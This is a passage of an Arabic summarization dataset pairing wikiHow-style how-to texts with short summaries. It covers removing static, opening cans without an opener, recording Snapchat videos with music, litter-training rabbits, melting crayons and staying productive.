عينيك أو وجهك عن طريق الخطأ. يُمكنك أيضًا فرك القليل من مُلطف البشرة على بشرتك تحت الأجزاء التي تلتصق بجلدك، ومرة أخرى انتبهي ألا تستخدمي الكثير من الكريم المُلطف، ومن الأفضل أن تستخدمي كريم غير مُعطر حتى لا تكون رائحة الكريم نفاذة أكثر من اللازم. أي قطعة من المعدن موضوعة بشكل مباشر على الأرض ستعمل على التخلص من الكهرباء الاستاتية في الحال، وتجنبي لمس أي معادن لا توجد على الأرض مثل مقابض الأبواب عل سبيل المثال، حيث أنكِ قد تتعرضين لصدمة كبيرة من الكهرباء الاستاتية والتي قد تكون مؤلمة في بعض الأحيان، السياج الحديدي مثال جيد للمعدن المرتكز على الأرض. فالكريم المُرطب يمنع الكهرباء الاستاتية من التراكم على بشرتك، وإذا كانت الكهرباء الاستاتية لا تستطيع التراكم على بشرتك فهي لن تنتقل بالتالي لنسيج الفستان، وهذا الاختيار لن ينجح إذا كان الفستان هو الشيء الذي يحتوي على الكهرباء الاستاتية. من الأفضل أن تجربي الأمر إذا كانت الكهرباء تغطي جسدك أنتِ، ويُمكنك أيضًا تجربة بودرة تلك الأطفال إلا أنها قد تتسبب في فوضى أكثر من الكريم المُلطف، كما أن لها رائحة مُميزة أكثر منه، وفي هذه الطريقة يكفي فقط أن تستخدمي كمية بسيطة جدًا من الكريم المُلطف لفرك بشرتك. الألياف الصناعية هي التي تكون متشبعة بالكهرباء الاستاتية على الرغم من أنها تتجعد بسرعة، إلا أنها بشكل عام تحتفظ بالرطوبة لفترة أطول ولهذا لا تُشحن بالإلكترونات الموجودة في الهواء حول ملابسك. ربما يجب أن تجربي شراء ملابس مصنوعة من الألياف الطبيعية لحل مشكلة الكهرباء الاستاتية بشكل نهائي.

english_section_name: Removing Static Quickly


summary: ضع العلبة على سطح ثابت بحيث يكون ارتفاع الطاولة مساويًا لارتفاع فخذيك، وهو الارتفاع المناسب، واحذر ألا تضع العلبة في حِجْرك أو بين ساقيك، فقد تنزلق السكين وتجرحك. أمسك السكين من مكان التقاء النصل بالمقبض، أحكم قبضتك على الجزء العلوي من السكين براحة يدك مباشرة عند موضع التقاء النصل بالمقبض، وينبغي أن تكون أصابعك متمركزة على الجانب المقابل للمقبض، بحيث تبعد بشكل آمن عن حافة النصل. ضع قاعدة السكين على الجهة المقابلة لحافة الغطاء الداخلي. اضغط بقاعدة السكين باتجاه داخل العلبة. نقل السكين إلى الجانب الآخر. استمر حتى تصنع ثقوبًا أخرى حول حافة العلبة. أزِل الغطاء.

document: تأكد من أن قبضتك محكمة على السكين، قد تكون هذه الطريقة خطرة إذا حدث انزلاق ليدك أو السكين. لا تستخدم في هذه الطريقة سكينًا أصغر من سكين الطاهي، لأن هذا النوع من السكين كبير وثقيل في وزنًا أكثر من سكين التشذيب أو سكين تقطيع شرائح اللحم، في حين أنك تحتاج إلى سكين ذو نصل ثقيل نسبيًا لتثقب بشكل فعال غطاء علبة الطعام. قاعدة السكين هي الجزء الأكثر عراضةً في نصل السكين، وتكون في الطرف العكسي لقمة النصل. ضع القاعدة فوق الحافة المرتفعة من غطاء العلبة.  يجب أن تكون قاعدة السكين في المنتصف تمامًا تحت المكان الذي تقبض عليه براحة يدك. تأكد من أن السكين مثبتة بقوة فوق حافة الغطاء، ومن ثم تضمن عدم انزلاقها. اضغط لأسفل بشدة إلى أن تُحدث ثقبًا في العلبة، وإذا واجهت مشكلة في ثقب العلبة، حاول أن تقف وتميل باتجاهها، وأمسك السكين بإحدى اليدين، وضع الأخرى أعلى العلبة، واضغط باستمرار بكلتا اليدين نحو الأسفل حتى تتمكن من ثقب العلبة.  لا تطرق على العلبة لتثقبها، فقد تنزلق السكين من يدك وتجرحك، وبدلاً من ذلك اضغط باستمرار نحو الأسفل حتى تثقب السكين العلبة، فقاعدة السكين أكثر ثباتًا واحتمال انزلاقها أقل. لا تستخدم الحافة الحادة من السكين لثقب العلبة. الجزء السفلي أكثر استقرارًا وأقل عرضة للانزلاق. إذا استخدمت طرف السكين فإنك ستفسد حافة النصل. حركها لسنتيمترات قليلة بطول حافة النصل، واستخدم نفس الطريقة لعمل ثقب آخر بجانب الثقب الأول تمامًا. حرك السكين بحركة دورانية كما تفعل تمامًا عند استخدام فتاحة العلب، والآن أصبح غطاء العلبة مُرْتَخيًا. أدخل مقدمة السكين برفق إلى أحد الثقوب، واستخدمها لإزالة الغطاء، وارفعه بلطف من على علبة الطعام.  إذا دعت الضرورة. استخدم سكينًا أصغر لنشر أي جزء صغير عالق من الغطاء ومتصل بالعلبة. احرص على تغطية يدك بمنشفة أو بكم قميصك عند إزالة الغطاء، وهذا سيوفر ليديك الحماية من الخدش بحافة السكين الحادة.

english_section_name: Using a Chef's Knife

summary: ابحث قطعة مسطحة من الصخر أو الخرسانة. ضع العلبة بحيث تكون عكس اتجاه قطعة الصخر. حك العلبة ذهابًا وإيابًا على الصخرة. استخدم سكين جيب لنزع الغطاء.

document: ابحث عن واحدة ذات سطح خشن، لأن الصخرة الملساء لا تُحدث احتكاكًا كافيًا لثقب غطاء العلبة. سيسمح لك وضع العلبة عكس اتجاه قطعة الصخر من كسر اللحام في أعلى العلبة. استخدم حركة الصنفرة لتوليد احتكاك بين الصخرة والعلبة، واستمر في ذلك حتى ترى رطوبة تغطي سطح الصخرة أو على غطاء العلبة.  اقلب العلبة من حين لآخر لتتأكد من ذلك، وينبغي عليك ألا تتوقف بمجرد أن ترى السطح رطبًا، فهذا يساعد على أن الغطاء أصبح رقيقًا ويمكن كسره. لا تفرك الغطاء بقوة مفرطة، وإلا سينسكب طعامك على قطعة الصخر. يجب أن يكون اللحام رقيقًا بما يكفي ليسمح لك أن تدخل النصل بسهولة داخل العلبة بالقرب من الحافة، اضغط بالسكين إلى أعلى بلطف لإزالة الغطاء واسحب الغطاء وتخلص منه.  إذا لم يكن لديك سكين جيب، استخدم الملعقة أو سكين الزبد أو أي أداة أخرى. أو ابحث عن قطعة من الصخر يمكنك استخدامها في الطرق على غطاء العلبة باتجاه الداخل، وليست هذه بالطريقة المثلى، حيث قد يتلوث طعامك بقطع صغيرة من الصخور والأوساخ. عند سحب الغطاء لنزعه، غط يدك بكم قميصك أو بمنشفة وبذلك لن تؤذي نفسك وتجرحها.

english_section_name: Using a Rock or Concrete

summary: ضع العلبة على سطح ثابت بحيث يكون ارتفاع الطاولة مساويًا لارتفاع فخذيك. ضع طرف السكين بالاتجاه المقابل لحافة الغطاء الداخلية. اطرق برفق الجزء الخلفي من يدك. انقل السكين إلى الجانب الآخر لتحدث ثقبًا جديدًا. استمر حتى تصنع ثقوبًا أخرى حول حافة العلبة. أزِل الغطاء.

document: وهو الارتفاع المناسب، وقف بشكل يمكنك من التعامل مع العلبة بسهولة. أمسك السكين بحيث يكون في وضع رأسي وليس في الزاوية، واحكم قبضتك على السكين بحيث لا تكون أصابعك في نفس اتجاه النصل إذا حدث لها انزلاق، كما يجب أن يكون الجزء الخلفي من يدك إلى أعلى.  تُعد هذه الطريقة أكثر فعالية من محاولة نشر الغطاء باستخدام نصل السكين، والتي ستفسد سكينتك، ومن المحتمل أن تترك قطع معدنية حادة في طعامك. تأكد من أن السكين ممتدة كليًا ومثبتة أعلى المكان، وبذلك لن يحدث لها انزلاق. يمكنك أن تقوم بهذه الطريقة باستخدام أزميل أو باستخدام شيء آخر قوي ورقيق ويشبه السكين الصغير. استخدم يدك الأخرى لتطرق بخفة الجزء الخلفي من يدك التي تحكم بها قبضتك على السكين، فحركة الطرق الخفيفة هذه ستتسبب في جعل حافة السكين تثقب غطاء العلبة.  لا تطرق بشدة على يدك، حتى لا تفقد تحكمك في السكين. اطرق بيدك وهي مبسوطة باستخدام راحة يدك، فهذا سيمكنك من الإبقاء على تحكمك في العلبة. ضع طرف السكين على بعد سنتيمترات قليلة، وكرر نفس الطريقة لتثقب العلبة مرة أخرى. حرك السكين بحركة دورانية كما تفعل تمامًا عند استخدام فتاحة العلب، والآن أصبح غطاء العلبة مُرْتَخيًا. أدخل بخفة مقدمة السكين إلى أحد الثقوب، واستخدمها لإزالة الغطاء، وارفعه بلطف من على علبة الطعام.  إذا دعت الضرورة، استخدم سكينًا أصغر لنشر أي جزء صغير عالق من الغطاء ومتصل بالعلبة. احرص على تغطية يدك بمنشفة أو بكم قميصك عند ازالة الغطاء، وهذا سيوفر ليدك الحماية من الخدش بحافة السكين الحادة.

english_section_name: Using a Pocket or Kitchen Knife

summary: ضع العلبة على سطح ثابت: ضع حافة الملعقة بشكل معاكس لحافة الغطاء: حُكَّ حافة الملعقة بسطح الغطاء ذهابًا وإيابًا. انقل الملعقة من جانبٍ إلى آخر واستمر في حك الغطاء. واصل عملك حول حافة الغطاء. انزع الغطاء، اغرس الملعقة أسفل حافة الغطاء، وارفع الغطاء لأعلى حتى يخرج من مكانه، وارفعه برفق حتى يظهر الطعام الموجود داخل العلبة.

document: استخدم يدًا واحدة لتثبيت العلبة بينما تشرع في فتح العلبة بالملعقة الموجودة في اليد الأخرى. ستظهر حافة صغيرة ومرتفعة وتبدو منبعجة بعض الشيء لتضمن إغلاق العلبة بإحكام. عليك وضع الملعقة على نقطةٍ ما في الجزء الداخلي لهذه الحافة.  أمسِكْ الملعقة بحيث يواجه الجزء الداخلي من تجويفها غطاء العلبة. في حال اختيارك لهذه الطريقة، فإنك بحاجة إلى ملعقة معدنية، ولن يجدي معك نفعًا استخدام أي نوع آخر غير معدني. كثف جهدك في تلك المساحة الصغيرة نفسها حيث تكون حافة الغطاء منبعجة، فالاحتكاك الناجم عن حك الملعقة ذهابًا وإيابًا سيضعف من سطح الغطاء. استمر في العمل حتى تخترق الملعقة الغطاء. تابع العمل إلى المنطقة  التي تجاور المنطقة التي حككتها على سطح العلبة، واستمر حتى تخترق الملعقة الغطاء، أحدثت الآن فتحة كبيرة بعض الشيء في الغطاء. اعمل بسرعة باستخدام الملعقة مرارًا وتكرارًا، وحك الغطاء على دوران غطاء العلبة حتى تنتهي من فتح الغطاء بأكمله، والآن غطاء العلبة مُرْتَخٍ. لا تقلب العلبة رأسا على عقب وإلا سينسكب طعامك خارجها. إذا واجهت صعوبة في إزالة الغطاء بالملعقة، حاول استخدام السكين بدلًا منها، يمكنك أن تستخدم السكين لنشر أي جزء صغير عالق من الغطاء ومتصل بالعلبة. ستكون حافة الغطاء حادة، لذلك احرص ألا تجرح إصبعك عند إزالته، واستخدم كم القميص أو المنشفة إذا دعت الحاجة لذلك.

english_section_name: Using a Spoon


summary: افتح تطبيق الموسيقى. انقر على أغنية. انقر على زر الإيقاف المؤقت.

document: يمكنك استخدام تطبيقات مثل موسيقى أبل أو سبوتيفاي لإضافة أغانٍ إلى رسائل سناب شات. ابحث عن الأغنية التي ترغب بإضافتها إلى رسالة سناب شات من قوائم التشغيل أو الألبومات المحفوظة. أوقف الأغنية مؤقتًا قبل التسجيل في حال كانت الأغنية قد بدأت تلقائيًا، لتتمكن من تحديد وقت تشغيلها في الفيديو. انقر على أول جزء ترغب بتشغيله أثناء إيقاف التشغيل المؤقت إن كنت ترغب ببدء تشغيل الأغنية من مكان محدد.

english_section_name: Setting Up the Music

summary: انقر على سهم الإرسال الأزرق. انقر على كل صديق ترغب بإرسال الرسالة إليه. انقر على زر الإرسال Send.

document: يظهر السهم أسفل الجهة اليمنى من الشاشة. ستظهر علامة تحديد زرقاء إلى يمين اسم الشخص الذي تنقر عليه. سيقوم تطبيق سناب شات الآن بحفظ رسالتك وإرسالها إلى أصدقائك الذين سيسمعون الأغنية التي سجلتها في الخلفية مع رسالة سناب شات.

english_section_name: Sending the Snap

summary: افتح تطبيق سناب شات. شغّل الأغنية. انقر مطولًا على زر ○ الكبير لتسجيل فيديو. ارفع إصبعك عن زر ○.

document: تظهر أيقونة التطبيق على شكل صورة شبح أبيض فوق خلفية صفراء. سيقوم تطبيق سناب شات بتسجيل الأغنية قيد التشغيل في الخلفية مع بدء التسجيل.  حرّك إصبعك نحو الأعلى من الجهة السفلية لإظهار مركز التحكم على هواتف أيفون. ستظهر الأغنية في مركز التحكم أعلى متحكمات الصوت، ويمكنك النقر على زر ► لتشغيل الأغنية. قد تحتاج إلى تحريك إصبعك نحو اليسار أو اليمين في مركز التحكم للعثور على متحكمات الموسيقى، ويمكنك تحريك إصبعك نحو الأسفل لإغلاق مركز التحكم بعد بدء تشغيل الأغنية. حرّك إصبعك من الأعلى لإظهار مركز الإشعارات على أجهزة أندرويد. ستظهر الأغنية في مركز الإشعارات أعلى متحكمات الصوت، ويمكنك النقر على زر ► لتشغيل الأغنية. ويمكنك تحريك إصبعك نحو الأسفل لإغلاق مركز الإشعارات بعد بدء تشغيل الأغنية. سيقوم تطبيق سناب شات بتسجيل الفيديو مع تشغيل الموسيقى في الخلفية، وسيتم تسجيل الأجزاء التي يتم تشغيلها أثناء تسجيل الفيديو فقط. يؤدي ذلك إلى إيقاف التسجيل ثم يبدأ عرض الفيديو على الشاشة. انقر على متحكمات الصوت لإلغاء كتم سناب شات حال عدم سماع الصوت أو الموسيقى.

english_section_name: Recording the Music


summary: ابدأ بتدريب الأرنب الخاص بك فور وصوله إالى المنزل. قم برش الأرنب الخاص بك أو جعله محايد جنسيًأ. قم بتعليم الأرنب الخاص بك كيفية استخدام صندوق النفايات في القفص. قم بالسماح لأرنبك بالخروج من القفص لفترات صغيرة. قم بتهنئة الأرنب على استخدامه لصندوق النفايات. اضبط عدد صناديق النفايات.

document: تتعلم الأرانب الكبيرة أسرع من الأرانب غير الناضجة(أقل من 4 شهور). ومع ذلك، إنه ليس مبكرًا البدء في التدريب. قم بعمل الصندوق بمجرد وصول الأرنب الجديد إلى منزلك، وابدأ في تعليمه كيفية استخدامه. فقط كن صبورًا و سيتعلم في النهاية للبدء، عندما يتبول الأرنب خارج الصندوق، ضع الحبيبات داخل الصندوق لتلفت نظرها لأين تذهب. تعتبر الأرانب الكبار غير المحايدة جنسيًا أكثر اتساخًا ويستخدمون رائحتهم لإظهار اعتراضهم. وبذلك ينتشر البول والكريات في جميع أنحاء المنزل مستخدمين الرائحة كعلامة. محايدة الأرنب الخاص بك جنسيًا ستجعله أسهل أن يتعلم لأن رغبته أن يصبح متسخًا ستقل. في البداية، ستساعد الأرنب على التقيد في القفص بالصندوق، وبذلك سيتعلم عدم تلويث منطقة الأكل والنوم. سوف يستغرق يومين لكى يتعلم –بمجرد فهم الأرنب ذلك يمكنك السماح له بالخروج. عندما تسمح له بالخروج لللعب، إذا أراد أن يتبول، قم بحمله برفق وضعه في صندوق النفايات بالقفص. يقوم الأرنب برفع ذيله قليلًا في الهواء كعلامة على أنه يريد التبول. عليك أن تكون يقظًا لذلك، ولكن لا يمكن أن يساعدك هذا إذا التقطه في الوقت المناسب.  في المراحل المبكرة من التعليم، لا تتركه خارجًا أكثر من عشرة دقائق في المرة، ولا تتركه في حجرة غير مراقبة (حيث إنك تريد التقاطه قبل أن يتبول). بمجرد استخدامه للصندوق بانتظام، يمكنك الاسترخاء وإعطائه المزيد من حرية. لا تصرخ أو تغضب من ألارنب إذا لم يستخدم واحدًا من صناديق النفايات. لا تتعلم الأرانب بتلك الطريقة، فالتعزيز الإيجابي أفضل بكثير للتعليم.  قم بعرض مكافاءات بسيطة، مثل قطعة من التفاح أو الجزر، بعد استخدامه للصندوق مباشرة. وذلك لتشجيعه للربط أيجابيًا بين التبول و الصندوق. بمجرد أن يبدأ الأرنب باستخدام الصندوق بثقة، يمكنك ضبط عدد وأماكن صناديق النفايات حسب المطلوب.  على سبيل المثال، إذا كان الأرنب الخاص بك يستخدم فقط صندوقين ويتجاهل الباقي، يمكنك إزالة الباقي. إذا كان الأرنب يتجاهل صندوق بعينه، ويتبول  في زاوية 1كم بعيدًا،قم بنقل الصندوق لتلك الزاوية؟

english_section_name: Training Your Rabbit

summary: قم بتنظيف الصندوق. لا تنزع جميع الحبيبات من صندوق النفايات. قم بتنظيف صندوق النفايات كليًا. قم بالتنظيف بعد أى حوادث. تخلص من أى روائح عالقة.

document: مرة يوميًا، قم بإخراج النفايات المتسخة مع البول. من الأفضل ترك الكريات لمدة يوم أو نحو ذلك لإنها بمثابة علامة رائحة للأرنب يعود إليها. عند تنظيف الصندوق، لاحظ جيدًا الحبيبات الكبيرة الرطبة، والتي تتكون من طعام نصف مهضوم. اتركها للأرنب ليقوم بأكلها والحصول على المغذيات الحيوية. بدون تلك الكريات، سيعاني الأرنب من اضطرابات معوية وإسهال، وعلى المدى الطويل، سيعاني من نقص التغذية. مرة أسبوعيًا، أفرغ الصندوق كليًا و قم بتنظيفه. ببساطة قم تقريغ محتويات الصندوق في كيس بلاستيك، واربطه جيدًا، وألقيه في سلة المهملات. نظف الصندوق باستخدام مطهر واشطفه جيدًا واتركه يجف، ثم أعد عمل صندوق بالصحيفة والنفايات.  تبيع العيادات البيطرية ومحلات الحيوانات مطهرات آمنة لاستخدامها للحيوانات الأليفة. قم بقبول الحادث على ما هو عليه، ثم قم بالتنظيف جيدًا وبالتالي لا يستمر في التبول في المكان الخطأ. استخدم محلول من مسحوق الغسيل البيولوجي بواسطة قطعة قماش نظيفة أو قطعة إسفنج. ثم يشطف جيدًا بالماء.  لا تصيح في الأرنب الخاص بك أو تعاقبه. فالأرانب لا تتعلم شيء عن طريق العقاب، بالإضافة إلى أنهم يكونوا خائفين من الشخص الذي يضربهم. عندما تتخلص من النفايات، اختبر دائما ثبات لون السجادة أولًا. قم بعمل محلول صودا الخبز في السجادة، ثم اشطفها بماء نظيف. إذا كان السطح ناعمًا، مثل البلاط أو المشمع، قم بالمسح باستخدام المطهر الجراحي.  لا تستخدم المنظفات التي تحتوي على مواد تبييض. لأنه يحتوي على الأمونيا وهي إحدى مكونات البول، ويمكن أن تزيد رائحة البول.

english_section_name: Cleaning the Tray and Dealing with Accidents

summary: قم بشراء الصندوق. احصل على بعض أوراق الصحف. احصل على الصندوق الصحيح. قم بشراء قفص. احصل على تبن عالي الجودة. قم بشراء مغرفة للنفايات ومطهر.

document: صندوق قمامة\صينية\صناديق مصممة للأرانب ذات الظهر المرفوع (لمنع تتطاير النفايات في كل مكان أثناء الإخراج) والجبهة المنخفضة (ليكون سهل على الأرنب النط داخلها). يمكنك شراء عدة صناديق أو صواني لتفريقهم حول المنزل للمبادلة بينهم عند تنظيف أو تعقيم صناديق النفايات. ليس من الضروري استخدام صندوق خاص للأرنب. فصندوق نفايات القطط العادي ذات الجوانب المنخفضة جيد أو حتى صندوق من الورق (ولكن يجب أن تكون على استعداد لحل محله حيث يمكن أن يقوم الأرنب بمضغه). استخدمها لتبطين الجزء السفلي من الصندوق، مما يجعله أسهل في تنظيفه.  تستخدم معظم الصحف اليوم الحبر المصنوع من فول الصويا، حيث إنه غير سام للأرانب، ولكن تأكد قبل استخدامه حيث يمكن لحبر الصحيفة أن يطبع على فرو الأرنب، و يحوله أسود أو رمادي. اختر منتج آمن للأرنب، مثل الصندوق المصنوع من الورق أو رقائق أسبن غير المعالجة. لا تستخدم الصنوبر أو رقائق خشب الأرز، حيث إنهم مصنعين من زيوت يمكن أن تتسبب في تهيج رئة الأرنب. لا تستخدم الطين المستخدم في صناديق القطط. إذا قام الأرنب بأكلها، يمكن أن تتسبب في انسداد الأمعاء. يجب أن يكون القفص من ثلاثة إلى ستة أضعاف طول الأرنب. الخطوة الأولى للتدريب هي تقييد الأرنب في قفص بداخله طعام وماء و مخبأ في نصفه  والصندوق في النصف الأخر. تشجع المساحة المحدودة الأرنب على عدم تلويث مكان معيشته والتبول داخل الصندوق. استخدم التبن لجذب الأرنب للصندوق. تحب الأرانب في كثير من الأحيان تناول وجبة خفيفة أثناء التبول، فذلك يشجع الأرنب على استغلال المساحة. قم باستخراج النفايات المتسخة مع البول يوميًا. الصندوق كله سيحتاج إلى تعقيم مرة اسبوعيًا على الأقل. استخدم مطهرًا مصمم خصيصًا للحيوانات الصغيرة.

english_section_name: Gathering Supplies

summary: ضع بعض الحبيبات في الصندوق. قم بإعداد صندوق النفايات. ضع صندوق النفايات في القفص. قم باعداد الفراش ومكان الطعام في القفص. ضع صناديق نفايات في مناطق أخرى من المنزل.

document: اجمع بعض حبيبات الأرنب وقم بوضعها فى الصندوق. قم بتبطين الجزء السفلي من الصندوق بورقة صحيفة مطوية. قم بتغطية الصحيفة بحوالي 2.5 سم من الصندوق. لا يدفن الأرنب النفايات. مما يجعل هناك رائحة وذلك يعطى الأرنب فكرة أن هذا المكان الصحيح للتبول. ضع علبة النفايات في نهاية واحدة من القفص وانشر بعض التبن الطازج فى الصندوق أو ارفق رف القش في نهاية القفص في مكان الصندوق. تحب الأرانب الأكل أثناء التبول ولذلك فبعض التبن جيد المذاق سيجذب انتباهها و يشجعها. ضع الفراش في الجانب الأخر من القفص. وضع الطعام والماء ومخبأ.  هذا سوف يعطيه مكانًا للإختباء والشعور بالأمان. ضع عدة صناديق في عدة مناطق ليقوم الأرنب بقضاء الوقت والتدريب فيها. كلما زاد عدد الصناديق، سيقوم الارنب باستخدام واحد منهم. قبل إدخال الأرنب الخاص بك للصندوق أول مرة، شاهده وانتبه في أى مكان يقضي حاجته. عادة سوف يكون الركن الخلفي. عندما تعرف المنطقة المفضلة للأرنب، قم بوضع الصندوق في تلك البقعة.

english_section_name: Setting up the Litter Tray and Cage


summary: شغل الميكروويف على الشمع لمدة دقيقتين، مع الإيقاف كل 30 ثانية لتقليبه.

document: لا تبتعد عن الميكروويف وأبقِ عينك على الشمع. يختلف كل مايكروويف عن غيره، وقد تذوب ألوانك في وقت أسرع من المتوقع.

english_section_name: Melting Crayons in a Microwave

summary: ركب غلاية مزدوجة أو "حمام مريم".

document: املأ وعاء كبيرًا بماء حتى ارتفاع 2.5 إلى 5 سم تقريبًا. ضع وعاء زجاجيًا آمن للاستخدام مع الحرارة داخل الوعاء الكبير، على أن يكون الجزء العلوي من الوعاء الزجاجي أعلى من مستوى الماء. إذا كان لديك دورقًا معدنيًا يُستخدم لصنع الشموع، يمكنك استخدامه بدلًا من الوعاء الزجاجي.

english_section_name: Melting Crayons on the Stove

summary: سخن الفرن إلى 95°م. فكر في فصل الأقلام حسب اللون.

document: باستخدام هذه الطريقة، ستصهر بعض أقلام الشمع القديمة إلى أشكال جديدة مرحة. إذا كنت تستخدم الكثير من الشمع الملون، فيمكنك تصنيفه لمجموعات ألوان متشابهة لأنك ستحتاج لهذه الخطوة فيما بعد. يعني هذا أن تضع الأصفر مع الأصفر والأزرق مع الأزرق، ليس لديك تجميع درجات ألوان محددة معًا، مثل تجميع كل الأزرق "النيلي" معًا والأصفر "النحاسي" في مجموعة.

english_section_name: Melting Crayons in an Oven


summary: ابتعد عن المُشَتتات. ركز على مهمة واحدة في الوقت الحالي. حافظ على منزلك أو مكان عملك نظيفًا ومرتبًا.

document: فنحن نحيا في عالم مليء بفرص التشتيت بدءًا من التلفزيون إلى المدونات مرورًا بالرسائل النصية اللحظية ناهيك عن الأصدقاء والعائلة وحتى الحيوانات الأليفة، فقضاء دقيقة هنا ودقيقة هناك قد يجعل اليوم ينقضي دون أن تفعل شيئًا ذا قيمة فلا تدع ذلك يحدث. ركز على الجائزة التي ستحصل عليها عند ابتعادك عن كل ما يقوم بتشتيت انتباهك.  قم بإغلاق البريد الالكتروني ومواقع التواصل الاجتماعي وامنع أي تنبيهات قد تعوقك عن عملك، فإن كان لا بد فخصص وقتًا محددًا لفعل ذلك يوميًا وتابع أهم التحديثات، أما تركها جميعًا مفتوحة أثناء القيام بمهامك لا شك أنه سيعطلك عن فعل أي شيء. استخدم امتدادات المتصفح التي تقوم بحجب المواقع التي تضيع وقتك. الانترنت مليء بصور وملفات فيديو وصور متحركة ومقالات يمكن أن تلتهم يومك بالكامل إن لم تحافظ على تركيزك. بعض هذه الامتدادات مثل StayFocusd وLeechblock وNanny ستمنحك مدة معينة تقوم خلالها بما تريد من متابعة الأخبار أو المدونات أو حتى مشاهدة فيديوهاتك المفضلة.  أغلق هاتفك. لا ترد على المكالمات ولا تقرأ الرسائل النصية ومن الأفضل ألا تبقي الهاتف بجوارك. أيًا من كان يطلبك سيترك لك رسالة فإن انتابك القلق من أن تكون أحد تلك المكالمات طارئة فلا مانع من أن تأخذ دقيقة واحدة من وقتك كل ساعة لتفحص رسائلك ومكالماتك التي لم ترد عليها. أخبر أصدقاءك وأفراد عائلتك ألا يقوموا بمقاطعتك أثناء تأدية مهامك، أيضًا اترك حيواناتك الأليفة خارج غرفتك إن كانوا سيسببون لك أي مشكلة. يمكنك الاستفادة من قليل من الضوضاء الأليفة لحجب الضوضاء المنفرة. الضوضاء البيضاء أو الوردية أو البنية تبدو حلاً جيدًا لكن الأفضل هو الضوضاء التي تأتي في صورة أصوات طبيعية كصوت المطر أو النهر لزيادة تركيزك وانتاجيتك. جرب أداة Noisli  اغلق التليفزيون والراديو. بحسب طبيعتك وطبيعة المهمة التي تقوم بها فإن القليل من الضوضاء الأليفة في الخلفية ستساعدك -خاصة صوت الموسيقى الصافي دون أي كلمات- لكن وجود أي وسيلة إعلامية حولك سيقلل من انتاجيتك إذا ما كانت مهمتك تطلب تركيزًا ذهنيًا. من أكثر الأخطاء شيوعًا أن تعدد المهام يجعلك أكثر انتاجية لكن الحقيقة أنك لن تستطيع أداء مهمة أخرى بخلاف ما تقوم به الآن وإلا سيصبح تقدمك في تحقيق مهامك غير مضمون وسيضيع تركيزك ووقتك. اختر مهمة واحدة فقط، التزم بها، نفذها، ثم اختر غيرها. ولا تجعل عينيك تقع على شيءٍ غير مرتب،  صحيح أن التنظيف قد يأخذ من وقتك لكن الفوضى في مكان العمل يمكن أن تضيع ذلك الوقت الذي قمت بتوفيره بعدم اهتمامك بمكان عملك ومنزلك.

english_section_name: Stay Focused

summary: نم مبكرًا لتحصل على كفايتك من النوم. اضبط المنبه واستيقظ عندما يرن لأول مرة. كل جيدًا واحرص على جعل وجباتك صحية. خذ استراحة.

document: فالتعب والإرهاق الناتج عن قلة النوم سيقلل من انتاجيتك ويزيد تشتيتك عن أهدافك. لا تكرر الضغط على زر الغفوة فالنوم الزيادة -حتى وإن كان لدقائق قليلة- يمكن أن يعطل جدولك اليومي بالكامل. التغذية الجيدة الصحية هي سبيلك للوقاية من التشتيت والضغوط واضطرارك إلى إعادة ما تقوم به بسبب الأخطاء التي ستحدث. وفر على نفسك هذا العناء واختر وقتًا محددًا خلال اليوم وفرغ نفسك لتناول وجباتك الصحية. تجنب الوجبات الثقيلة التي تجعلك كسولاً وتحتاج إلى النوم بعدها. لا تنسَ أن عملية الهضم تحرق جزء من طاقتك، وبالتأكيد كلما زادت كمية الطعام كلما زادت الطاقة المهدرة في الهضم مما يفقدك طاقتك على العمل والتركيز. لا تحمل نفسك بما لا تطيقه وتجهدها أكثر من اللازم في النظر إلى شاشة جهازك. بين كل 15 دقيقة ارتح لمدة نصف دقيقة، تمدد وامنح عينيك بعض الراحة، بين ساعات العمل العب بعض التمارين لمدة 5 أو 10 دقائق أو كل وجبة خفيفة لتجديد طاقتك وشحذ همتك.

english_section_name: Take Care of Yourself

summary: صنع قائمة بما يجب عليك فعله من مهام خلال اليوم أو الأسبوع سواء من مهام جديدة أو حالية تحتاج إلى إنهائها. ضع خطة لتنفيذ المهام. حدد أولوياتك. حدد أهدافك، سواء كانت أهدافك تخص المذاكرة أو العمل أو حتى تنظيف المنزل، واجعل أهدافك معقولة وتحدَّ نفسك في سبيل تحقيقها كأن تكتب عدد الصفحات التي يجب أن تقرأها أو تكتبها في اليوم الواحد ولا تسمح لنفسك بترك المهمة إلا بعد الوصول لهذا العدد. صب كل تركيزك على ما تقوم به في تلك اللحظة. حافظ على ترتيب أدواتك.

document: لقد أثبتت تلك الطريقة بالتجربة فعاليتها عندما يتم استخدامها بطريقة صحيحة.  حدد مهامك بوضوح وعقلانية وبالتفصيل فإذا رغبت في تنظيف المنزل لا تكتب "تنظيف المنزل" ولكن حدد المهام التي ستقوم بها بالتفصيل، على سبيل المثال: "تنظيف غرفة المعيشة"  و"تنظيف السجاد بالمكنسة الكهربائية" و"التخلص من القمامة" وهكذا.. اجعل مهامك صغيرة وواضحة ليسهل عليك تحقيقها. لا تسمح لنفسك بأن تقوم بتشتيت ذهنك وصرفه عن فعل أي شيء بسبب قائمة المهام. فلا خير يأتي من أن تقضي اليوم كله تفكر في كل الأشياء التي ينبغي عليك فعلها لكن حاول أن تنتهي من كتابة القائمة في جلسة واحدة ولا تضف إيها المزيد من المهام طوال اليوم ما لم تكن في حاجة لذلك. بعدما تحدد أي المهام في قائمتك يمكنك القيام بها، حدد الترتيب الذي يجب تتبعه لتحقيقها. حاول بقدر الإمكان وضع الخطة في إطار زمني وقرر ما هو أنسب وقت للقيام بكل مهمة ومتى يجب عليك أخذ استراحة. تذكر أن المهام قد تستغرق وقتًا أطول أو أقصر مما قمت بتخصيصه لها، لا تجعل ذلك يثبطك عن استكمال خطتك كلها ولا ترهق نفسك في سبيل مزامنة جدولك الزمني ومع ذلك حاول جاهدًا أن تقوم بتقريب الفارق بين خطتك والوقت الفعلي لتنفيذها. إن كان وقتك ضيق ومهامك كثيرة فربما ينبغي عليك تحديد أيها أكثر أهمية لتفعله وأيها يمكنه الانتظار. فمحاولة فعل أشياء كثيرة في وقت قليل تعد أسرع طريقة لإرباكك وتقليل انتاجيتك. إن كان لديك بعض المهام العالقة منذ زمن بعيد فلا تتركها عالقة أكثر من ذلك وحدد ميعاد نهائي للقيام بها أو قرر أنك تستطيع استكمال حياتك بدونها. المهم ألا تجعلها عالقة في ذهنك للأبد. لا تجعل أهدافك تعيقك لكن اجعلها تدفعك للأمام وتذكر أنك تستطيع تحقيقها إن حافظت على تركيزك. لتشجيعك على تحقيق مهامك فكر في إنشاء نظام الثواب والعقاب وتطبيقه على نفسك، كافئ نفسك بشيء تريده عندما تحقق أحد المهام 